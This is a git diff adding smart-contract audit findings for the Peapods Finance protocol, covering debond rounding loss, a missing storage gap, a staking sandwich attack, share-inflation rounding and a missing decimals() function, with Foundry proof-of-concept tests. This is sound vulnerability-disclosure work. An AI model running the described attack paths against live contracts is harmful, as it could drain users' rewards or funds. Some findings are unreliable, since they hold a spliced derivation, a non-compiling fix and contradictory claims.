+ address _token = _allRewardsTokens[_i];
+ rewards[_token][_wallet].excluded = _cumulativeRewards(_token, shares[_wallet], true);
+ }
+ }
+```
+
+### Impact
+
+Users will lose on rewards.
+Tokens will be bricked.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Include the same mechanic inside `_resetExcluded`.
\ No newline at end of file
diff --git a/064.md b/064.md
new file mode 100644
index 0000000..d6d0f83
--- /dev/null
+++ b/064.md
@@ -0,0 +1,208 @@
+Lone Wintergreen Rattlesnake
+
+High
+
+# Loss of Bonded Assets Due to Decimal Precision Issues in Debonding
+
+### Summary
+
+A precision loss in the [WeightedIndex contract](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/WeightedIndex.sol#L186-L191) will cause a complete loss of tokens for users when debonding small amounts, as the calculation for tokens with small weights rounds down to zero during the debonding process. This occurs when _percSharesX96 is too small relative to _totalAssets, causing integer division to truncate to zero.
+
+
+### Root Cause
+
+In `WeightedIndex.sol`, the debonding calculation uses fixed-point arithmetic that can result in rounding to zero for tokens with small weights:
+```solidity
+uint256 _debondAmount = (_totalAssets[indexTokens[_i].token] * _percSharesX96) / FixedPoint96.Q96;
+```
+When dealing with tokens that have small weights and small debond amounts, the multiplication and subsequent division by Q96 can result in the amount rounding down to zero.
+
+
+### Attack Path
+
+User bonds into a pod that has tokens with varying weights (e.g., 59%, 20%, 1%)
+User attempts to debond a small amount of pod tokens
+The debonding calculation for the token with 1% weight:
+```solidity
+_percSharesX96 = (_amountAfterFee * FixedPoint96.Q96) / _totalSupply
+_debondAmount = (_totalAssets[indexTokens[_i].token] * _percSharesX96) / FixedPoint96.Q96
+```
+Results in _debondAmount = 0 due to precision loss
+User receives zero tokens for the small-weight component of their debonding, effectively losing those tokens
+
+
+### Impact
+
+The users suffer a partial loss of funds proportional to the weight of the affected token(s) in the index. For example, with a 1% weight token, users lose 1% of their expected returns when debonding small amounts. The lost tokens remain trapped in the contract.
+
+### PoC
+
+
+Click to view the full test code
+
+```solidity
+address public dai = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
+ address public usdc = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
+ uint256 public bondAmt = 1000e18;
+ uint16 fee = 2000;
+ uint256 public bondAmtAfterFee = bondAmt - (bondAmt * fee) / 10000;
+ uint256 public feeAmtOnly1 = (bondAmt * fee) / 10000;
+ uint256 public feeAmtOnly2 = (bondAmtAfterFee * fee) / 10000;
+
+ // Test users
+ address public alice = address(0x1);
+ address public bob = address(0x2);
+ address public carol = address(0x3);
+
+ event FlashMint(address indexed executor, address indexed recipient, uint256 amount);
+
+ event AddLiquidity(address indexed user, uint256 idxLPTokens, uint256 pairedLPTokens);
+
+ event RemoveLiquidity(address indexed user, uint256 lpTokens);
+
+ function setUp() public override {
+ super.setUp();
+ peas = PEAS(0x02f92800F57BCD74066F5709F1Daa1A4302Df875);
+ twapUtils = new V3TwapUtilities();
+ rewardsWhitelist = new RewardsWhitelist();
+ dexAdapter = new UniswapDexAdapter(
+ twapUtils,
+ 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, // Uniswap V2 Router
+ 0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45, // Uniswap SwapRouter02
+ false
+ );
+ IDecentralizedIndex.Config memory _c;
+ IDecentralizedIndex.Fees memory _f;
+ _f.bond = fee;
+ _f.debond = fee;
+ address[] memory _t = new address[](3);
+ _t[0] = address(peas);
+ _t[1] = dai;
+ _t[2] = usdc;
+ uint256[] memory _w = new uint256[](3);
+ _w[0] = 59;
+ _w[1] = 1;
+ _w[2] = 20;
+
+ address _pod = _createPod(
+ "Test",
+ "pTEST",
+ _c,
+ _f,
+ _t,
+ _w,
+ address(0),
+ false,
+ abi.encode(
+ dai,
+ address(peas),
+ 0x6B175474E89094C44Da98b954EedeAC495271d0F,
+ 0x7d544DD34ABbE24C8832db27820Ff53C151e949b,
+ rewardsWhitelist,
+ 0x024ff47D552cB222b265D68C7aeB26E586D5229D,
+ dexAdapter
+ )
+ );
+ pod = WeightedIndex(payable(_pod));
+
+ flashMintRecipient = new MockFlashMintRecipient();
+
+ // Initial token setup for test users
+ deal(address(peas), address(this), bondAmt * 100);
+ deal(address(peas), alice, bondAmt * 100);
+ deal(address(peas), bob, bondAmt * 100);
+ deal(address(peas), carol, bondAmt * 100);
+ deal(address(0x6B175474E89094C44Da98b954EedeAC495271d0F), address(this), bondAmt * 100);
+ deal(address(usdc), address(this), bondAmt * 100);
+ deal(address(0x6B175474E89094C44Da98b954EedeAC495271d0F), bob, bondAmt * 100);
+ deal(address(0x6B175474E89094C44Da98b954EedeAC495271d0F), alice, bondAmt * 100);
+ deal(address(usdc), bob, bondAmt * 100);
+ deal(address(usdc), alice, bondAmt * 100);
+
+ // Approve tokens for all test users
+ vm.startPrank(alice);
+ peas.approve(address(pod), type(uint256).max);
+ IERC20(dai).approve(address(pod), type(uint256).max);
+ IERC20(usdc).approve(address(pod), type(uint256).max);
+ vm.stopPrank();
+
+ vm.startPrank(bob);
+ peas.approve(address(pod), type(uint256).max);
+ IERC20(dai).approve(address(pod), type(uint256).max);
+ IERC20(usdc).approve(address(pod), type(uint256).max);
+ vm.stopPrank();
+
+ vm.startPrank(carol);
+ peas.approve(address(pod), type(uint256).max);
+ IERC20(dai).approve(address(pod), type(uint256).max);
+ vm.stopPrank();
+ }
+```
+
+
+```solidity
+function test_bondWithDecimalLoss() public {
+ peas.approve(address(pod), peas.totalSupply());
+ IERC20(dai).approve(address(pod), type(uint256).max);
+ IERC20(usdc).approve(address(pod), type(uint256).max);
+
+ uint256 addressThisUSDCBalanceBeforeBond = IERC20(usdc).balanceOf(address(this));
+ pod.bond(address(peas), 1e16, 0);
+
+ vm.startPrank(alice);
+ pod.bond(address(peas), 1e16, 0);
+ vm.stopPrank();
+
+ vm.startPrank(bob);
+ pod.bond(address(peas), 1e16, 0);
+ vm.stopPrank();
+
+ uint256 addressThisUSDCBalance = IERC20(usdc).balanceOf(address(this));
+ // Shows that the balance decreases after bonding
+ assertLt(addressThisUSDCBalance, addressThisUSDCBalanceBeforeBond);
+
+ address[] memory _n1;
+ uint8[] memory _n2;
+ pod.debond(1e10, _n1, _n2);
+ uint256 addressThisUSDCBalanceAfter = IERC20(usdc).balanceOf(address(this));
+
+ // Shows that the balance doesnt change after debonding
+ assertEq(addressThisUSDCBalanceAfter, addressThisUSDCBalance);
+}
+```
+
+test `forge test --match-contract WeightedIndexTest --match-test test_bondWithDecimalLoss -vvv --fork-url `
+```solidity
+[⠊] Compiling...
+[⠢] Compiling 1 files with Solc 0.8.28
+[⠆] Solc 0.8.28 finished in 2.14s
+Compiler run successful!
+
+Ran 1 test for test/WeightedIndex.t.sol:WeightedIndexTest
+[PASS] test_bondWithDecimalLoss() (gas: 696242)
+Logs:
+ ..................................addressThisUSDCBalance 99999999999999999996611
+ CA: .........debondAmount 7999999999
+ CA: .........debondAmount 135593220
+ CA: .........debondAmount 0
+ ..................................addressThisUSDCBalance 99999999999999999996611
+
+Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.26s (389.01ms CPU time)
+
+Ran 1 test suite in 4.64s (4.26s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
+```
+
+
+### Mitigation
+
+Instead of:
+```solidity
+if (_debondAmount > 0) {
+ _totalAssets[indexTokens[_i].token] -= _debondAmount;
+ IERC20(indexTokens[_i].token).safeTransfer(_msgSender(), _debondAmount);
+ }
+```
+should add a check to ensure that debond amount > 0
+```solidity
+require(_debondAmount >, "Amount too small");
+```
\ No newline at end of file
diff --git a/065.md b/065.md
new file mode 100644
index 0000000..e81c401
--- /dev/null
+++ b/065.md
@@ -0,0 +1,50 @@
+Fancy Rusty Camel
+
+High
+
+# The `DecentralizedIndex` contract is missing storage gap variable, which could lead to storage collision in updates
+
+### Summary
+
+The `DecentralizedIndex` contract is used as a base contract for the `WeightedIndex`. These two contracts contracts make up the Pod, which is one the main components of the whole system. However the `DecentralizedIndex` is missing a storage gap variable. If an update is made and new variables are added to the contract, there will be a storage collision. This will possibly lead to corrupting critical protocol state variables.
+
+
+### Root Cause
+
+The contract inherits from OpenZeppelin's upgradeable contracts but doesn't implement a storage gap `(uint256[50] private __gap;)`. Storage gaps are essential in upgradeable contracts to reserve storage slots for future variable additions.
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/DecentralizedIndex.sol#L17
+
+
+### Internal Pre-conditions
+
+Contract must be upgraded in the future with new state variables.
+
+
+### External Pre-conditions
+
+None
+
+### Attack Path
+
+1. Protocol deploys `WeightedIndex` which inherits the current version of `DecentralizedIndex`.
+2. Future upgrade adds new variables.
+3. Storage collision occurs with child contract's variables, corrupting state.
+
+
+### Impact
+
+1. Storage collisions could corrupt critical protocol variables
+2. User funds could be lost or permanently locked due to corrupted token accounting
+3. Impact scope includes all existing Pods, their users, and protocol integrations
+
+
+### PoC
+
+None
+
+### Mitigation
+
+Add storage gap to DecentralizedIndex:
+```diff
++ uint256[50] private __gap;
+```
diff --git a/066.md b/066.md
new file mode 100644
index 0000000..350ff3d
--- /dev/null
+++ b/066.md
@@ -0,0 +1,107 @@
+Fancy Rusty Camel
+
+High
+
+# The `TokenRewards::depositRewards` is vulnerable to sandwich attack via staking and unstaking leading to unfair rewards distribution
+
+### Summary
+
+The `StakingPool::stake` function allows to users to stake their LP tokens and `StakingPool::unstake` allows them to unstake. However, this functionality is vulnerable to a malicious user staking just before rewards are deposited via `TokenRewards::depositRewards` and unstaking right after, effectively claiming a part of the deposited rewards and stealing rewards from long-term and honest stakers.
+
+
+### Root Cause
+
+The protocol distributes rewards based on current staking positions without any time-based vesting or lockup period. This allows users to temporarily stake large amounts to capture disproportionate rewards.
+Staking:
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/StakingPoolToken.sol#L67
+Depositing Rewards:
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/TokenRewards.sol#L180
+Unstaking:
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/StakingPoolToken.sol#L77
+
+
+### Internal Pre-conditions
+
+ - StakingPoolToken must have existing stakers
+ - TokenRewards contract must be ready to distribute rewards
+ - No minimum staking period implemented
+
+
+### External Pre-conditions
+
+ - Ability to monitor mempool for incoming reward distributions
+ - Sufficient capital to execute large stakes
+
+
+### Attack Path
+
+1. Monitor mempool for `TokenRewards.depositRewards` transactions
+2. Front-run with large stake:
+```solidity
+vm.startPrank(attacker);
+stakingToken.approve(address(stakingPool), largeAmount);
+stakingPool.stake(attacker, largeAmount);
+```
+3. Reward distribution occurs:
+```solidity
+tokenRewards.depositRewards(rewardToken, rewardAmount);
+```
+4. Back-run with unstake:
+```solidity
+stakingPool.unstake(largeAmount);
+tokenRewards.claimReward(attacker);
+vm.stopPrank();
+```
+
+
+### Impact
+
+1. Honest long-term stakers lose significant portions of rewards
+2. Reduced incentive for legitimate long-term staking
+3. Protocol's reward distribution mechanism becomes ineffective
+
+
+### PoC
+
+Initial State:
+```solidity
+// Honest Staker (staking for months)
+Staked Amount: 100,000 LP tokens
+Total Staked in Protocol: 100,000 LP tokens
+
+// Weekly Reward
+50,000 PEAS tokens scheduled for distribution
+```
+
+1. Attacker monitors mempool and sees reward distribution transaction:
+```solidity
+tokenRewards.depositRewards(PEAS, 50_000e18)
+```
+
+2. Front-run: Attacker stakes 1,000,000 LP tokens
+```solidity
+New Total Staked = 1,100,000 LP tokens
+Attacker's Share = ~91% (1_000_000/1_100_000)
+Honest Staker's Share = ~9% (100_000/1_100_000)
+```
+
+3. Reward Distribution
+```solidity
+50,000 PEAS distributed according to shares:
+- Attacker receives: 45,454 PEAS (91%)
+- Honest staker receives: 4,546 PEAS (9%)
+```
+
+4. Back-run: Attacker unstakes 1,000,000 LP tokens
+```solidity
+- Claims 45,454 PEAS
+- Honest stakers who staked for months gets only 4,546 PEAS
+```
+
+
+### Mitigation
+
+Here are a few mitigation options:
+1. Implement minimum staking period lock
+2. Add vesting period for rewards
+3. Calculate rewards based on time-weighted position size
\ No newline at end of file
diff --git a/067.md b/067.md
new file mode 100644
index 0000000..29ad170
--- /dev/null
+++ b/067.md
@@ -0,0 +1,112 @@
+Brave Saffron Rooster
+
+High
+
+# Price of `pTKN` decreases all the time and prior bond user will debond for more cheaper price.
+
+### Summary
+
+The price of `pTKN` decreases all the time and previous bond users may debond at a lower price.
+
+### Root Cause
+
+Within `WeightedIndex.sol`, the `_bond` function wraps index tokens to `pTKN` token.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/WeightedIndex.sol#L139-L171
+```solidity
+ function _bond(address _token, uint256 _amount, uint256 _amountMintMin, address _user) internal {
+ require(_isTokenInIndex[_token], "IT");
+ uint256 _tokenIdx = _fundTokenIdx[_token];
+
+ bool _firstIn = _isFirstIn();
+ uint256 _tokenAmtSupplyRatioX96 =
+ _firstIn ? FixedPoint96.Q96 : (_amount * FixedPoint96.Q96) / _totalAssets[_token];
+ uint256 _tokensMinted;
+ if (_firstIn) {
+@> _tokensMinted = (_amount * FixedPoint96.Q96 * 10 ** decimals()) / indexTokens[_tokenIdx].q1;
+ } else {
+@> _tokensMinted = (_totalSupply * _tokenAmtSupplyRatioX96) / FixedPoint96.Q96;
+ }
+ uint256 _feeTokens = _canWrapFeeFree(_user) ? 0 : (_tokensMinted * _fees.bond) / DEN;
+ require(_tokensMinted - _feeTokens >= _amountMintMin, "M");
+@> _totalSupply += _tokensMinted;
+ _mint(_user, _tokensMinted - _feeTokens);
+ if (_feeTokens > 0) {
+ _mint(address(this), _feeTokens);
+@> _processBurnFee(_feeTokens);
+ }
+ [...]
+ }
+```
+
+When multiple users bond `_token` with amounts of x1, x2, x3, etc.,we can analyze `_totalSupply` and `_totalAssets[_token]` as follows.
+
+```solidity
+bondorder _totalAssets[_token] _tokensMinted _totalSupply
+0(firstbond) x1 y1 z1(=y1)
+1 x1+x2 y2=z1/x1*x2 z2=z1+z1/x1*x2*(1-_fees.burn / DEN)
+2 x1+x2+x3 y3=z2/x2*x3 z3=z2+z2/x2*x3*(1-_fees.burn / DEN)
+3 x1+x2+x3+x4 y4=z3/x3*x4 z4=z3+z3/x3*x4*(1-_fees.burn / DEN)
+4 x1+x2+x3+x4+x5 y5=z4/x4*x5 z5=z4+z4/x4*x5*(1-_fees.burn / DEN)
+5 x1+x2+x3+x4+x5+x6 y6=z5/x5*x6 z6=z5+z5/x5*x6*(1-_fees.burn / DEN)
+...
+```
+
+From this, we can derive that:
+
+ `z2/(x1+x2)=(z1+z1/x1*x2*(1-_fees.burn / DEN))/(x1+x2) uint256 _percSharesX96 = (_amountAfterFee * FixedPoint96.Q96) / _totalSupply;
+ super._transfer(_msgSender(), address(this), _amount);
+@> _totalSupply -= _amountAfterFee;
+ _burn(address(this), _amountAfterFee);
+@> _processBurnFee(_amount - _amountAfterFee);
+ uint256 _il = indexTokens.length;
+ for (uint256 _i; _i < _il; _i++) {
+@> uint256 _debondAmount = (_totalAssets[indexTokens[_i].token] * _percSharesX96) / FixedPoint96.Q96;
+ if (_debondAmount > 0) {
+@> _totalAssets[indexTokens[_i].token] -= _debondAmount;
+ IERC20(indexTokens[_i].token).safeTransfer(_msgSender(), _debondAmount);
+ }
+ }
+ [...]
+ }
+```
+If the `_totalSupply` is low, the rate `_totalSupply/_totalAssets[_token]` decreases more rapidly.
+This results in a continuous decline, potentially approaching zero. Mathematically, it is evident that the first bonder can debond `pTKN` at a cheaper price since the ratio is significantly lower than at the initial bonding stage, allowing them to increase their tokens.
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+Users can increase their tokens by taking advantage of the decreasing rate `_totalSupply/_totalAssets[_token]`.
+
+### PoC
+
+It is evident that continuous bonding (wrapping) and debonding (unwrapping) of tokens will decrease the rate `_totalSupply/_totalAssets[_token]`.
+
+### Mitigation
+
+Please introduce a parameter to control the rate `_totalSupply/_totalAssets[_token]` to prevent it from reaching excessively low values.
\ No newline at end of file
diff --git a/071.md b/071.md
new file mode 100644
index 0000000..9974d39
--- /dev/null
+++ b/071.md
@@ -0,0 +1,115 @@
+Decent Boysenberry Zebra
+
+High
+
+# Potential Share Inflation Attack in AutoCompoundingPodLP
+
+### Summary
+
+A potential vulnerability exists in the vault's share issuance and redemption mechanism due to rounding inconsistencies in `AutoCompoundingPodLp.sol`. An attacker can repeatedly deposit and withdraw assets to systematically reduce the total number of shares in circulation while keeping the asset count unchanged. This results in an artificial increase in the asset price per share, allowing the attacker to manipulate share value and potentially extract undue profits.
+
+### Root Cause
+
+In the `deposit` function at [`AutoCompoundingPodLp.sol#L126`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L126), assets are converted to shares using rounding down, whereas in the `withdraw` function at [`AutoCompoundingPodLp.sol#L164`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L164), assets are converted to shares using rounding up. This inconsistency causes the share price to increase without affecting the total asset count.
+
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. The vault's deposit function converts assets into shares, rounding down.
+2. The withdrawal function converts assets into shares, rounding up.
+3. An attacker can deposit assets and receive shares.
+4. When withdrawing, the attacker burns more shares than they originally received due to rounding.
+5. Repeating this process inflates the total share supply over time.
+
+### Impact
+
+1. The exploit reduces the total number of shares in the vault while keeping the asset count unchanged.
+2. As a result, the price per share (assets/shares) artificially increases, benefiting the attacker.
+
+### PoC
+
+```solidity
+function testIncosistentRoundingInDepositAndWithdraw() {
+ //set up attacker
+ address attacker = makeAddr("attacker");
+ deal(address(_asset), attacker, 15e18);
+ vm.prank(attacker);
+ _asset.approve(address(_autoCompoundingPodLp), 15e18);
+ uint256 depositShares = _autoCompoundingPodLp.deposit(15e18, attacker);
+ uint256 withdrawShares = _autoCompoundingPodLp.withdraw(15e18, attacker, attacker);
+ // Withdraw shares will be greater than Deposit shares due to inconsistent Rounding.
+ assertGT(withdrawShares, depositShares);
+}
+```
+
+### Deposit (Rounding Down)
+
+#### Before Deposit
+- **Total Assets:** 115
+- **Total Shares:** 20
+- **Assets to Deposit:** 15
+
+#### Calculation
+Formula:
+Math.mulDiv(depositAssets, (FACTOR * totalShares / totalAssets), FACTOR, Math.rounding.Floor);
+
+- Computed Shares: **2.6087**
+- Final Shares (Rounded Down): **2**
+
+### Withdrawal (Rounding Up)
+
+#### Before Withdrawal
+- **Total Assets:** 130
+- **Total Shares:** 22
+- **Assets to Withdraw:** 15
+
+#### Calculation
+Formula:
+Math.mulDiv(depositAssets, (FACTOR * totalShares / totalAssets), FACTOR, Math.rounding.Ceil);
+
+- Computed Shares: **3.538**
+- Final Shares (Rounded Up): **4**
+
+
+
+### Mitigation
+
+Use the same rounding for deposit and withdraw either down or up.
+
+```solidity
+function deposit(uint256 _assets, address _receiver) external override returns (uint256 _shares) {
+ _processRewardsToPodLp(0, block.timestamp);
+ _shares = _convertToShares(_assets, Math.Rounding.Floor);
+ _deposit(_assets, _shares, _receiver);
+ }
+
+function withdraw(uint256 _assets, address _receiver, address _owner) external override returns (uint256 _shares) {
+ _processRewardsToPodLp(0, block.timestamp);
+ _shares = _convertToShares(_assets, Math.Rounding.Floor);
+ _withdraw(_assets, _shares, _msgSender(), _owner, _receiver);
+ }
+```
+
+or
+
+```solidity
+function deposit(uint256 _assets, address _receiver) external override returns (uint256 _shares) {
+ _processRewardsToPodLp(0, block.timestamp);
+ _shares = _convertToShares(_assets, Math.Rounding.Ceil);
+ _deposit(_assets, _shares, _receiver);
+ }
+
+function withdraw(uint256 _assets, address _receiver, address _owner) external override returns (uint256 _shares) {
+ _processRewardsToPodLp(0, block.timestamp);
+ _shares = _convertToShares(_assets, Math.Rounding.Ceil);
+ _withdraw(_assets, _shares, _msgSender(), _owner, _receiver);
+ }
+```
\ No newline at end of file
diff --git a/072.md b/072.md
new file mode 100644
index 0000000..f7fc2a5
--- /dev/null
+++ b/072.md
@@ -0,0 +1,258 @@
+Energetic Opaque Elephant
+
+High
+
+# Malicious Actor Can Cause Integration Failures and Potential Financial Loss Due to Missing `decimals()` Function in PEAS Contract
+
+### Summary
+
+The [PEAS](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/PEAS.sol#L1-L18) contract is missing the [`decimals()`](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/b9dbfa7cebc2e867dd9e376e4806095f1b31ff43/contracts/token/ERC20/ERC20.sol#L65-L80) function, a de facto standard for ERC-20 tokens. This non-compliance with ERC-20 conventions can lead to integration failures with other contracts and tools, potentially causing financial loss for users interacting with the PEAS token. While tests are currently using a `MockPEAS` contract to work around this issue, the vulnerability remains in the production PEAS contract and must be addressed.
+
+### Root Cause
+
+The `decimals()` function, although not strictly required by the `IERC20` interface, is a widely adopted convention for ERC-20 tokens. The PEAS contract implementation omits this function, leading to non-compliance and potential integration issues.
+
+### Internal Pre-conditions
+
+1. The PEAS contract is deployed without the `decimals()` function.
+2. Other contracts or tools attempt to interact with the PEAS contract, expecting the `decimals()` function to be present.
+3. Developers or users are unaware of the missing `decimals()` function in the PEAS contract.
+
+### External Pre-conditions
+
+1. A decentralized exchange (DEX) or other DeFi protocol attempts to integrate the PEAS token.
+2. A wallet or other tool attempts to display or handle PEAS token balances.
+
+### Attack Path
+
+1. User (Alice) attempts to trade PEAS on a DEX: Alice connects her wallet to a DEX that has integrated PEAS.
+2. DEX calls `PEAS.decimals()`: The DEX attempts to call the `decimals()` function on the PEAS contract to display token balances and calculate exchange rates correctly.
+3. `PEAS.decimals()` reverts: Because the `decimals()` function is missing, the call reverts.
+4. DEX integration fails: The DEX integration with PEAS fails. The DEX may display an error message, prevent trading of PEAS, or display incorrect information.
+5. Alice cannot trade PEAS: Alice is unable to trade PEAS on the DEX. She may lose trading opportunities or be unable to access her PEAS tokens through the DEX.
+
+### Impact
+
+Alice is unable to trade PEAS on the DEX. She suffers a loss of opportunity and potential financial loss if she cannot access or manage her PEAS tokens. The DEX also suffers reputational damage and potential loss of users due to the integration failure. Other users may experience similar issues with different integrations.
+
+### PoC
+
+To demonstrate the vulnerability, I initially attempted to run tests against the deployed PEAS contract at address `0x02f92800F57BCD74066F5709F1Daa1A4302Df875`. This resulted in a revert error when the contract attempted to call the missing `decimals()` function, as shown in the attached image
+
+
+
+
+To resolve this issue for testing purposes and demonstrate a working scenario, I implemented a `MockPEAS` contract. This mock contract includes the necessary `decimals()` function, allowing tests to proceed without the revert error. The `MockPEAS` contract is shown below:
+
+```solidity
+pragma solidity ^0.8.0;
+
+import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
+import "../contracts/interfaces/IPEAS.sol";
+
+contract MockPEAS is IPEAS, ERC20 {
+ uint8 public _decimals; // Store decimals as a state variable
+
+ constructor(string memory _name, string memory _symbol, uint8 _decimalsValue) ERC20(_name, _symbol) {
+ _mint(msg.sender, 10_000_000 * 10 ** _decimalsValue); // Mint to the deployer for testing
+ _decimals = _decimalsValue; // Initialize decimals
+ }
+
+ function burn(uint256 _amount) external virtual override {
+ _burn(msg.sender, _amount); // Burn from the test contract (msg.sender)
+ emit Burn(msg.sender, _amount);
+ }
+
+ function decimals() public view virtual override returns (uint8) {
+ return _decimals; // Return the stored decimals value
+ }
+
+ // Add a mint function for testing purposes:
+ function mint(address _to, uint256 _amount) public {
+ _mint(_to, _amount);
+ }
+
+ // Add a setDecimals function to allow changing the decimals value for testing:
+ function setDecimals(uint8 _newDecimals) public {
+ _decimals = _newDecimals;
+ }
+
+ // ... other functions as needed for your tests ...
+}
+
+//Other Mock contracts
+
+contract MockERC20 {
+ string public name;
+ string public symbol;
+ uint8 public decimals;
+ mapping(address => uint256) public balanceOf;
+ mapping(address => mapping(address => uint256)) public allowance;
+
+ constructor(string memory _name, string memory _symbol, uint8 _decimals) {
+ name = _name;
+ symbol = _symbol;
+ decimals = _decimals;
+ }
+
+ function transfer(address recipient, uint256 amount) public returns (bool) {
+ balanceOf[msg.sender] -= amount;
+ balanceOf[recipient] += amount;
+ return true;
+ }
+
+ function approve(address spender, uint256 amount) public returns (bool) {
+ allowance[msg.sender][spender] = amount;
+ return true;
+ }
+
+ // ... Add other mocked functions (like decimals, transferFrom, etc.) as required ...
+
+ function mint(address to, uint256 amount) public {
+ balanceOf[to] += amount;
+ }
+}
+
+
+interface IUniswapV2Router02 {
+ function WETH() external view returns (address);
+}
+
+contract MockUniswapV2Router is IUniswapV2Router02 {
+ address private _weth;
+
+ constructor(address wethAddress) {
+ _weth = wethAddress;
+ }
+
+ function WETH() external view override returns (address) {
+ return _weth;
+ }
+}
+```
+
+I then updated the test setup in `WeightedIndexTest.sol` to use the `MockPEAS` contract instead of the originally deployed PEAS contract. The relevant changes to the `setUp()` function are shown below:
+```solidity
+contract WeightedIndexTest is PodHelperTest {
+ //PEAS public peas;
+ RewardsWhitelist public rewardsWhitelist;
+ V3TwapUtilities public twapUtils;
+ UniswapDexAdapter public dexAdapter;
+ WeightedIndex public pod;
+ MockFlashMintRecipient public flashMintRecipient;
+
+ MockERC20 public dai; // Use MockERC20 for DAI
+ MockUniswapV2Router public mockV2Router;
+ MockERC20 public mockWeth;
+ MockPEAS public peas; // Use MockPEAS
+
+
+
+ address public peasAddress;
+ address public mockDAI; // Address of the deployed mock DAI
+ //address public dai = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
+ uint256 public bondAmt = 1e18;
+ uint16 fee = 100;
+ uint256 public bondAmtAfterFee = bondAmt - (bondAmt * fee) / 10000;
+ uint256 public feeAmtOnly1 = (bondAmt * fee) / 10000;
+ uint256 public feeAmtOnly2 = (bondAmtAfterFee * fee) / 10000;
+
+ // Test users
+ address public alice = address(0x1);
+ address public bob = address(0x2);
+ address public carol = address(0x3);
+
+ event FlashMint(address indexed executor, address indexed recipient, uint256 amount);
+
+ event AddLiquidity(address indexed user, uint256 idxLPTokens, uint256 pairedLPTokens);
+
+ event RemoveLiquidity(address indexed user, uint256 lpTokens);
+
+ function setUp() public override {
+ super.setUp();
+ //peas = PEAS(0x02f92800F57BCD74066F5709F1Daa1A4302Df875);
+ peas = new MockPEAS("PEAS", "PEAS", 18);
+ peasAddress = address(peas);
+ twapUtils = new V3TwapUtilities();
+ rewardsWhitelist = new RewardsWhitelist();
+
+ dai = new MockERC20("MockDAI", "mDAI", 18);
+ mockDAI = address(dai); // Store the address
+ mockWeth = new MockERC20("Wrapped Ether", "WETH", 18);
+ mockV2Router = new MockUniswapV2Router(address(mockWeth));
+
+ dexAdapter = new UniswapDexAdapter(
+ twapUtils,
+ address(mockV2Router),
+ //0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, // Uniswap V2 Router
+ 0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45, // Uniswap SwapRouter02
+ false
+ );
+ IDecentralizedIndex.Config memory _c;
+ IDecentralizedIndex.Fees memory _f;
+ _f.bond = fee;
+ _f.debond = fee;
+ address[] memory _t = new address[](1);
+ _t[0] = address(peas);
+ uint256[] memory _w = new uint256[](1);
+ _w[0] = 100;
+ address _pod = _createPod(
+ "Test",
+ "pTEST",
+ _c,
+ _f,
+ _t,
+ _w,
+ address(0),
+ false,
+ abi.encode(
+ mockDAI,
+ //dai,
+ peasAddress,
+ //address(peas),
+ mockDAI,
+ //0x6B175474E89094C44Da98b954EedeAC495271d0F,
+ 0x7d544DD34ABbE24C8832db27820Ff53C151e949b,
+ rewardsWhitelist,
+ 0x024ff47D552cB222b265D68C7aeB26E586D5229D,
+ dexAdapter
+ )
+ );
+ pod = WeightedIndex(payable(_pod));
+
+ flashMintRecipient = new MockFlashMintRecipient();
+
+ // Initial token setup for test users
+ deal(address(peas), address(this), bondAmt * 100);
+ deal(address(peas), alice, bondAmt * 100);
+ deal(address(peas), bob, bondAmt * 100);
+ deal(address(peas), carol, bondAmt * 100);
+ deal(mockDAI, address(this), 5 * 10e18);
+
+ // Approve tokens for all test users
+ vm.startPrank(alice);
+ peas.approve(address(pod), type(uint256).max);
+ vm.stopPrank();
+
+ vm.startPrank(bob);
+ peas.approve(address(pod), type(uint256).max);
+ vm.stopPrank();
+
+ vm.startPrank(carol);
+ peas.approve(address(pod), type(uint256).max);
+ vm.stopPrank();
+ }
+```
+With these changes, running the test suite, specifically tests that interact with the PEAS contract (e.g., `test_bond`), now executes successfully. The logs show that the `decimals()` function being called is `MockPEAS::decimals()`, and it returns the expected value (18). This demonstrates that the absence of the `decimals()` function in the original PEAS contract is the root cause of the integration issue. The successful test execution with `MockPEAS` confirms the vulnerability and its impact. The attached image shows the successful execution of the test with the `MockPEAS` contract in place.
+
+
+
+
+### Mitigation
+
+1. Implement `decimals()` in PEAS Contract: Add the following function to the PEAS contract:
+`function decimals() public view virtual override returns (uint8) {
+ return 18; // Or the correct number of decimals for your token
+}`
+2. Recompile and Redeploy: Recompile the PEAS contract and redeploy it to the appropriate environment.
+3. Update Integrations (If Necessary): If any contracts or tools have already integrated with the faulty PEAS contract, they may need to be updated to account for the newly added `decimals()` function.
\ No newline at end of file
diff --git a/073.md b/073.md
new file mode 100644
index 0000000..f4ba1b7
--- /dev/null
+++ b/073.md
@@ -0,0 +1,59 @@
+Fast Khaki Raccoon
+
+Medium
+
